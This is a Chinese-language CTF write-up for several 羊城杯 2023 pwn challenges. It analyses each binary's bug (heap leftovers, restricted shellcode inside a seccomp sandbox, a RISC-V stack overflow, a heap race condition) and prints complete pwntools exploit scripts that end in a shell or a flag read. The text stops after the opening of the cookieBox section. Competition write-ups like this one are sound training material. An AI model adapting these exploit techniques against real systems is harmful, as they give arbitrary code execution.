0%

羊城杯CTF2023

easy_vm

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland McGrath et al.
1
2
3
4
5
6
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=26ed58f813bfbb711bf498f43d760c8ba0fcaf53, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

漏洞分析

本程序没有明显的漏洞,是利用程序提供的机制进行入侵:

1
2
3
4
5
6
ptr = malloc(0x1000uLL);
malloc(0x20uLL);
free(ptr);
ptr = 0LL;
data = malloc(0x1000uLL);
code = (char *)malloc(0x1000uLL);
  • 程序的这一波操作会将 libc_addr 遗留在 data 中
1
2
3
4
pwndbg> telescope 0x5645cca65010
00:0000│ rax 0x5645cca65010 —▸ 0x7f354ef32b78 —▸ 0x5645cca67050 ◂— 0x0
01:00080x5645cca65018 —▸ 0x7f354ef32b78 —▸ 0x5645cca67050 ◂— 0x0
02:00100x5645cca65020 ◂— 0x0

入侵思路

核心思路就是利用 data 中遗留的 libc_addr 打 exit_hook,对于 exit_hook 的位置可以使用以下方法进行查找:

1
2
3
4
5
6
7
8
pwndbg>  p rtld_lock_default_lock_recursive
$1 = {void (void *)} 0x7f354ef38c90 <rtld_lock_default_lock_recursive>
pwndbg> search -t qword 0x7f354ef38c90
Searching for value: b'\x90\x8c\xf3N5\x7f\x00\x00'
warning: Unable to access 16000 bytes of target memory at 0x7f354ed35d07, halting search.
ld-2.23.so 0x7f354f15ef48 0x7f354ef38c90
pwndbg> distance 0x7f354f15ef48 0x7f354eb6e000
0x7f354f15ef48->0x7f354eb6e000 is -0x5f0f48 bytes (-0xbe1e9 words)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('','9999')

def debug():
#gdb.attach(p,"b* 0x401125\n")
gdb.attach(p,"b *$rebase(0x92E)\n")
pause()

def cmd(op):
sla(">",str(op))

one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]

#debug()
payload = p64(2)
payload += p64(7)+p64(0x3c4b78)
payload += p64(1)
payload += p64(6)+p64(one_gadgets[3])
payload += p64(1)
payload += p64(7)+p64(one_gadgets[3])
payload += p64(6)+p64(0x5f0f48)
payload += p64(3)

sla("code:",payload)

p.interactive()

shellcode

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
1
2
3
4
5
6
7
shellcode: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=41d67b4f1d7bba2b90bd3fcf2cbf5119a31a6dcb, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
  • 64位,dynamically,Full RELRO,Canary,PIE
1
2
3
4
5
6
cxt = seccomp_init(0LL);
seccomp_rule_add(cxt, 0x7FFF0000LL, SYS_open, 0LL);
seccomp_rule_add(cxt, 0x7FFF0000LL, SYS_read, 1LL);
seccomp_rule_add(cxt, 0x7FFF0000LL, SYS_write, 1LL);
seccomp_rule_add(cxt, 0x7FFF0000LL, SYS_dup2, 0LL);
return seccomp_load(cxt);
  • 只能打 ORW(需要先进行 patch 才能用 seccomp-tools 查看)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff) goto 0020
0005: 0x15 0x0d 0x00 0x00000002 if (A == open) goto 0019
0006: 0x15 0x0c 0x00 0x00000021 if (A == dup2) goto 0019
0007: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0013
0008: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0009: 0x25 0x0a 0x00 0x00000000 if (A > 0x0) goto 0020
0010: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0019
0011: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0012: 0x25 0x07 0x06 0x00000002 if (A > 0x2) goto 0020 else goto 0019
0013: 0x15 0x00 0x06 0x00000001 if (A != write) goto 0020
0014: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count)
0015: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0019
0016: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0020
0017: 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count)
0018: 0x25 0x00 0x01 0x00000002 if (A <= 0x2) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL

漏洞分析

程序可以执行 shellcode:

1
2
box();
(*(void (**)(void))code)();

入侵思路

程序对 shellcode 的限制特别严格:

1
2
3
4
5
6
for ( buf = code; buf; ++buf )
{
read(0, buf, 1uLL);
if ( (buf - code) >> 4 > 0 )
break;
}
  • 输入字节数为16
1
2
3
4
5
6
7
8
9
10
11
12
13
if ( code )
{
while ( *buf >= 0x4F && *buf <= 0x5F )
{
++index;
++buf;
}
if ( !((buf - code) >> 4) )
{
puts("[*] It's Not GW's Expect !");
exit(-1);
}
}
  • 限制 shellcode 的每个字符都要在 [0x4F,0x5F] 的范围内

首先必须绕过对字符的限制,因为就连 “flag” 字符串也会被隔离,接着要解决 shellcode 长度的问题,在面对带有限制的 shellcode 时有两种处理方法:

  • 构造 sys_read
  • 通过 add rsp offset; ret; 来将栈迁移到不被限制的区域
  • 通过汇编指令来修改 shellcode 本身(shellcode 自修改)

由于 syscall 0f05 被限制并且 shellcode 本身也较短,上述两种方法好像都不适用,但程序有一个地方可以写入 syscall:

1
2
3
4
5
6
puts("[2] Input: (ye / no)");
read(0, buf, 2uLL);
if ( !strcmp(buf, "ye") )
puts("xxxx{xxxx_xxxx_xxxx_xxxx}");
else
pwn(buf);

执行 shellcode 时的寄存器信息和栈信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 RAX  0x7ffe033d0c50 ◂— 0x59595a515e505f53 ('S_P^QZYY') /* sys_read para2 */
RBX 0x0 /* sys_read para1 */
RCX 0x55cd7e1ede7f
RDX 0x55c8229cf7b0 ◂— 0x0
RDI 0x7
RSI 0x55c8229ce010 ◂— 0x7
R8 0x55c8229cf6b0 ◂— 0x55cd7e1ede7f
R9 0x55c8229cf6b0 ◂— 0x55cd7e1ede7f
R10 0x1
R11 0x20218404d1c748ff
R12 0x7ffe033d0dc8 —▸ 0x7ffe033d23cd ◂— './shellcode1'
R13 0x55c821dff574 ◂— endbr64
R14 0x55c821e01d60 —▸ 0x55c821dff240 ◂— endbr64
R15 0x7f4e14593040 (_rtld_global) —▸ 0x7f4e145942e0 —▸ 0x55c821dfe000 ◂— 0x10102464c457f
RBP 0x7ffe033d0c70 —▸ 0x7ffe033d0cb0 ◂— 0x1
*RSP 0x7ffe033d0c18 —▸ 0x55c821dff4f4 ◂— nop
*RIP 0x7ffe033d0c50 ◂— 0x59595a515e505f53 ('S_P^QZYY')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> stack
00:0000│ rsp 0x7ffe033d0c18 —▸ 0x55c821dff4f4 ◂— nop
01:00080x7ffe033d0c20 ◂— 0x14
02:00100x7ffe033d0c28 —▸ 0x7ffe033d0c80 ◂— 0x6f6e /* 'no' */
03:00180x7ffe033d0c30 ◂— 0x1021e000e9
04:00200x7ffe033d0c38 —▸ 0x7ffe033d0c60 —▸ 0x7ffe033d0d0a ◂— 0xc34400007f4e1459
05:00280x7ffe033d0c40 —▸ 0x7ffe033d0c60 —▸ 0x7ffe033d0d0a ◂— 0xc34400007f4e1459
06:00300x7ffe033d0c48 —▸ 0x7ffe033d0c50 ◂— 0x59595a515e505f53 ('S_P^QZYY')
07:0038│ rax rip 0x7ffe033d0c50 ◂— 0x59595a515e505f53 ('S_P^QZYY')
pwndbg>
08:00400x7ffe033d0c58 ◂— 0x5a55555555555d5c ('\\]UUUUUZ')
09:00480x7ffe033d0c60 —▸ 0x7ffe033d0d0a ◂— 0xc34400007f4e1459
0a:00500x7ffe033d0c68 ◂— 0x12dacfe397d04000
0b:0058│ rbp 0x7ffe033d0c70 —▸ 0x7ffe033d0cb0 ◂— 0x1
0c:00600x7ffe033d0c78 —▸ 0x55c821dff613 ◂— lea rax, [rip + 0xb01]
  • pop rsp 使 0x7ffe033d0c80 成为 rsp 时,寄存器信息如下:
1
2
*RSP  0x7fff656bc980 ◂— 0x50f
*RIP 0x7fff656bc957 ◂— 0x5f5555555555585d (']XUUUUU_')
  • 寄存器 rsp rip 距离很近,只需要进行适当数量的 pushpop 就控制 rip(具体数量可以边调试边调整)

最后需要使用 shellcraft.dup2(a,b) 对文件描述符进行迁移才能绕过 sandbox

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './shellcode1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x14F2)\n")
#pause()

def cmd(op):
sla("Your chocie:",bytes(op))

#debug()
sa("[2] Input: (ye / no)",asm("syscall"))

payload = asm(
'''
push rbx
pop rdi
push rax
pop rsi
pop rcx
pop rcx
pop rsp
pop rbp
pop rax
push rbp
push rbp
push rbp
push rbp
push rax
push rbp
''').ljust(16,p8(0x5a))

sla("[5] ======== Input Your P0P Code ========",payload)

gadget = "sub rsp,0x18;"
shellcode_open = shellcraft.open("rsp")
shellcode_dup1 = shellcraft.dup2(3,0)
shellcode_read = shellcraft.read("rax","rsp",60)
shellcode_dup2 = shellcraft.dup2(1,0x100000000)
shellcode_write = shellcraft.write(0x100000000,"rsp",60)
shellcode=asm(gadget+shellcode_open+shellcode_dup1+shellcode_read+shellcode_dup2+shellcode_write,arch='amd64')

payload = "flag\x00"+"a"*(0x10-3)+shellcode
sleep(0.2)
sl(payload)

p.interactive()

risky_login

1
GNU C Library (GNU libc) stable release version 2.37.
1
2
3
4
5
6
7
8
pwn: ELF 64-bit LSB executable, UCB RISC-V, RVC, double-float ABI, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-riscv64-lp64d.so.1, for GNU/Linux 4.15.0, stripped              
[!] Could not populate PLT: AttributeError: arch must be one of ['aarch64', 'alpha', 'amd64', 'arm', 'avr', 'cris', 'i386', 'ia64', 'm68k', 'mips', 'mips64', 'msp430', 'none', 'powerpc', 'powerpc64', 'riscv', 's390', 'sparc', 'sparc64', 'thumb', 'vax']
[*] '/home/yhellow/桌面/shellcoe/pwn'
Arch: em_riscv-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
  • 64位,dynamically,NX

直接运行程序会出现以下报错:

1
riscv64-binfmt-P: Could not open '/lib/ld-linux-riscv64-lp64d.so.1': No such file or directory

关于 RISC-V 架构可以参考以下网站:

漏洞分析

由于 IDA 对 RISC-V 架构的程序分析出错,GDB 实际上是在调试 qemu,这里只能通过分析静态汇编代码来进行入侵(目测栈溢出)

有后门:

1
2
3
.text:0000000012345770                               loc_12345770:                           # CODE XREF: sub_123456EE+66↑j
.text:0000000012345770 13 85 81 87 la a0, buf
.text:0000000012345774 97 B0 CC ED E7 80 C0 FE call system

由于不熟悉 RISC-V 架构,很难直接从汇编代码中看出是否有栈溢出,因此最简单的方式就是直接输入大数据看看是否会 crash

1
2
sla("name","a"*0x7)
sla("words","a"*0x100)
1
2
3
4
Traceback (most recent call last):
File "/home/yhellow/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 746, in close
fd.close()
BrokenPipeError: [Errno 32] Broken pipe
  • Broken pipe,证明有栈溢出漏洞

入侵思路

由于不确定 padding 的填充数量,我们可以写一个简单的脚本来进行测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
find_list = []
for i in range(0x180):
payload = "a"*(0x180-i)
try:
p = process(challenge)
sla("name","a")
sa("words",payload)
ru("too long")
except:
find_list.append(hex(len(payload)))
success("find: "+str(len(payload)))
p.close()
continue
print(find_list)
1
['0x107', '0x106', '0x105', '0x104', '0x103', '0x102', '0x101', '0x100', '0x27', '0x25', '0x24', '0x23', '0x22', '0x21', '0x20', '0x1f', '0x1e', '0x1d', '0x1c', '0x1b', '0x1a', '0x19', '0x18', '0x17', '0x16', '0x15', '0x14', '0x13', '0x12', '0x11', '0x10', '0xf', '0xe', '0xd', '0xc', '0xb', '0xa', '0x9', '0x8', '0x7', '0x6', '0x5', '0x4', '0x3', '0x2', '0x1']
  • [0x1,0x27] 都是由于字节数太小而没有触发报错,从 0x100 开始都是 crash
  • 基本确定了 padding 的大小就是 0x100

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

arch = 64
challenge = './pwn'

context.os='linux'
#context.log_level = 'debug'

if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

elf = ELF(challenge)
libc = ELF('libc.so.6')

local = 1
if local:
#p = gdb.debug(challenge,"b*0x012345826\n")
p = process(challenge)
else:
p = remote('172.16.159.33','58012')

def debug():
gdb.attach(p,"b*0x012345826\n")
#gdb.attach(p,"b *$rebase(0x18BD)\nb *$rebase(0x1A02)\n")
pause()

#debug()
"""
find_list = []
for i in range(0x180):
payload = "a"*(0x180-i)
try:
p = process(challenge)
sla("name","a")
sa("words",payload)
ru("too long")
except:
find_list.append(hex(len(payload)))
success("find: "+str(len(payload)))
p.close()
continue
print(find_list)
"""

backdoor = 0x12345770
payload = b"a"*0x100 + p64(backdoor)
sla("name","/bin/sh")
sa("words",payload)

p.interactive()

heap

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
1
2
3
4
5
6
heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=889e7948d634cc86970feeb81c2a72787086723b, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

条件竞争:

1
2
3
4
5
if ( pthread_create(&newthread, 0LL, (void *(*)(void *))(&func_list)[op], chunk) )
{
perror("Thread creation failed");
++times;
}

在 edit 模块中的 sleep 函数也在暗示条件竞争:

1
2
3
index = atoi(data);
chunk = *((_DWORD *)chunk_list[index] + 2);
sleep(1u);

入侵思路

由于 edit 模块有延迟,也就是说 edit 模块效验 len 的代码和使用 len 的代码是分开的:

1
2
3
4
5
6
7
8
9
10
index = atoi(data);
len = chunk_list[index]->len;
sleep(1u);
if ( index <= 0xF && chunk_list[index] )
{
printf("paper index: %d\n", index);
puts("Input the new paper content");
strncpy(chunk_list[index]->data, dest, len);
puts("Done");
}

在 edit 模块效验完 len 并 sleep 的这段时间里,其他的进程可能会修改 chunk_list[index],使更小的 chunk 写入其中,导致后续的 strncpy 发生堆溢出

利用堆溢出,我们可以覆盖相邻 chunk 内部指针的低位,最后的泄露地址如下:

1
2
3
114:08a0│  0x7f3bc40008a0 —▸ 0x7f3bc9619c80 (main_arena) ◂— 0x0
115:08a8│ 0x7f3bc40008a8 ◂— 0x0
116:08b0│ 0x7f3bc40008b0 ◂— 0x0

进行泄露的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
add(b"a"*(0x68-6))
edit(0,b"a"*0x58+b"b"*8+p16(0x8a0))
dele(0)

add(b"1"*0x50)
add(b"2"*0x50)
add(b"3"*0x50)

dele(2)
dele(0)

add(b"0"*0x50)
ru("Input the new paper content")
show(1)
ru("paper content: ")
leak_addr = u64(ru("\n").ljust(8,"\x00"))
libc_base = leak_addr - 0x219c80
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

由于程序的 libc 版本过高 free_hook 等常规手段失效,现在只有以下3个选择:

  • 打 IO
  • 打 exit_hook
  • 打栈
  • 打 libc got

由于程序对堆的控制比较有限,因此先不考虑打 IO,而高版本 libc 的 exit_hook 也不好找,因此这里我们先考虑打栈

在有多线程的题目中一般不考虑用 TLS 获取栈地址,而是使用 __libc_argv 环境变量:

1
2
3
4
5
pwndbg> p &__libc_argv
$4 = (char ***) 0x7fe52da1aa20 <__libc_argv>
pwndbg> telescope 0x7fe52da1aa20
00:00000x7fe52da1aa20 (__libc_argv) —▸ 0x7ffea2946de8 —▸ 0x7ffea29483df ◂— 0x4400706165682f2e /* './heap' */
01:00080x7fe52da1aa28 (__libc_argc) ◂— 0x1

最后一个问题就是 one_gadget 的条件比较苛刻只能写入 system,但 system 在调用后可能会发生栈错误,在 GDB 的配合下勉强可以打通

非完整 exp 如下:(这个 exp 打通率很低)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './heap1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-3.35.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x18BD)\nb *$rebase(0x1A02)\n")
#pause()

def cmd(op):
sla("Your chocie:",bytes(op))

def add(data):
ru("Your chocie:")
payload = b"1 " + data
sl(payload)

def show(index):
payload = b"2 " + bytes(index)
sl(payload)

def edit(index,data):
ru("Your chocie:")
payload = b"3 " + bytes(index) + b":" + data
sl(payload)

def dele(index):
payload = b"4 " + bytes(index)
sl(payload)

add(b"a"*(0x68-6))
edit(0,b"a"*0x58+b"b"*8+p16(0x8a0))
dele(0)

add(b"1"*0x50)
add(b"2"*0x50)
add(b"3"*0x50)

ru("Input the new paper content")
show(1)
ru("paper content: ")
leak_addr = u64(ru("\n").ljust(8,"\x00"))
libc_base = leak_addr - 0x219c80
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + libc.sym["__free_hook"]
system_libc = libc_base + libc.sym["system"]
stack_libc = libc_base + 0x21aa20
one_gadgets = [0x50a37,0xebcf1,0xebcf5,0xebcf8,0xebd52,0xebdaf,0xebdb3]
one_gadget = one_gadgets[1] + libc_base
success("system_libc >> "+hex(system_libc))
success("stack_libc >> "+hex(stack_libc))
success("one_gadget >> "+hex(one_gadget))

payload = b"1 " + "a"*(0x68)
sl(payload)
edit(3,b"a"*0x58+b"b"*8+p64(stack_libc))
dele(3)

add(b"1"*0x50)
add(b"2"*0x50)

ru("Input the new paper content")
show(4)
ru("paper content: ")
leak_addr = u64(ru("\n").ljust(8,"\x00"))
stack_addr = leak_addr - 0x110
success("leak_addr >> "+hex(leak_addr))
success("stack_addr >> "+hex(stack_addr))

payload = b"1 " + "a"*(0x68)
sl(payload)
edit(5,b"a"*0x58+b"b"*8+p64(stack_addr))
dele(5)

add(b"1"*0x50)
add(b"2"*0x50)

#debug()

ru("Input the new paper content")
payload = b"3 " + bytes(6) + b":" + p64(system_libc)
sl(payload)

ru("Input the new paper content")
sl("5 /bin/sh\x00")

p.interactive()

更优化的方法是打 libc got,在 GDB 中查看可用的 got:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> telescope 0x7f3a80619008
00:00000x7f3a80619008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7f3a806e94c0 —▸ 0x7f3a80400000 ◂— 0x3010102464c457f
01:00080x7f3a80619010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7f3a80700d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
02:00100x7f3a80619018 (*ABS*@got.plt) —▸ 0x7f3a805b3e80 (__strnlen_evex) ◂— endbr64
03:00180x7f3a80619020 (*ABS*@got.plt) —▸ 0x7f3a805afca0 (__rawmemchr_evex) ◂— endbr64
04:00200x7f3a80619028 (realloc@got[plt]) —▸ 0x7f3a80428030 ◂— endbr64
05:00280x7f3a80619030 (*ABS*@got.plt) —▸ 0x7f3a8059b930 (__strncasecmp_avx) ◂— endbr64
06:00300x7f3a80619038 (_dl_exception_create@got.plt) —▸ 0x7f3a80428050 ◂— endbr64
07:00380x7f3a80619040 (*ABS*@got.plt) —▸ 0x7f3a805aef00 (__mempcpy_evex_unaligned_erms) ◂— endbr64
pwndbg>
08:00400x7f3a80619048 (*ABS*@got.plt) —▸ 0x7f3a805afa90 (__wmemset_evex_unaligned) ◂— endbr64
09:00480x7f3a80619050 (calloc@got[plt]) —▸ 0x7f3a80428080 ◂— endbr64
0a:00500x7f3a80619058 (*ABS*@got.plt) —▸ 0x7f3a80598990 (__strspn_sse42) ◂— endbr64
0b:00580x7f3a80619060 (*ABS*@got.plt) —▸ 0x7f3a805ae680 (__memchr_evex) ◂— endbr64
0c:00600x7f3a80619068 (*ABS*@got.plt) —▸ 0x7f3a805aef40 (__memmove_evex_unaligned_erms) ◂— endbr64
0d:00680x7f3a80619070 (*ABS*@got.plt) —▸ 0x7f3a805b5700 (__wmemchr_evex) ◂— endbr64
0e:00700x7f3a80619078 (*ABS*@got.plt) —▸ 0x7f3a805afe20 (__stpcpy_evex) ◂— endbr64
0f:00780x7f3a80619080 (*ABS*@got.plt) —▸ 0x7f3a805b5a00 (__wmemcmp_evex_movbe) ◂— endbr64

  • 通过看别人博客发现 __strspn_sse42 比较好用
  • 经过测试,需要把 0x7f3a80619040-0x7f3a80619050__strspn_sse42 往上 0x18 字节)都破坏掉,然后在 __strspn_sse42 上放入 system 才能打通(不然会有段错误)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './heap1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-3.35.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x18BD)\nb *$rebase(0x1A02)\n")
#pause()

def cmd(op):
sla("Your chocie:",bytes(op))

def add(data):
ru("Your chocie:")
payload = b"1 " + data
sl(payload)

def show(index):
payload = b"2 " + bytes(index)
sl(payload)

def edit(index,data):
ru("Your chocie:")
payload = b"3 " + bytes(index) + b":" + data
sl(payload)

def dele(index):
payload = b"4 " + bytes(index)
sl(payload)

add(b"a"*(0x68-6))
edit(0,b"a"*0x58+b"b"*8+p16(0x8a0))
dele(0)

add(b"1"*0x50)
add(b"2"*0x50)
add(b"3"*0x50)

ru("Input the new paper content")
show(1)
ru("paper content: ")
leak_addr = u64(ru("\n").ljust(8,"\x00"))
libc_base = leak_addr - 0x219c80
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system_libc = libc_base + libc.sym["system"]
libc_got = libc_base + 0x219058 - 0x18
success("system_libc >> "+hex(system_libc))
success("libc_got >> "+hex(libc_got))

payload = b"1 " + "a"*(0x68)
sl(payload)
edit(3,b"a"*0x58+b"b"*8+p64(libc_got))
dele(3)

add(b"1"*0x50)
add(b"2"*0x50)

#debug()

ru("Input the new paper content")
payload = b"3 " + bytes(4) + b":" + "a"*0x18+p64(system_libc)
sl(payload)

ru("Input the new paper content")
sl("/bin/sh")

p.interactive()

cookieBox

1
/home/cnitlrt/aaa/XCTF_2020_PWN_musl/source/musl-1.1.24
1
2
3
4
v27 = " [args]";
v28 = (size_t)base;
v29 = "1.1.24";
v30 = "musl libc (x86_64)\nVersion %s\nDynamic Program Loader\nUsage: %s [options] [--] pathname%s\n";
1
2
3
4
5
6
cookieBox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/cnitlrt/aaa/XCTF_2020_PWN_musl/source/musl-1.1.24/build/lib/ld-musl-x86_64.so.1, stripped
Arch: amd64-64-little
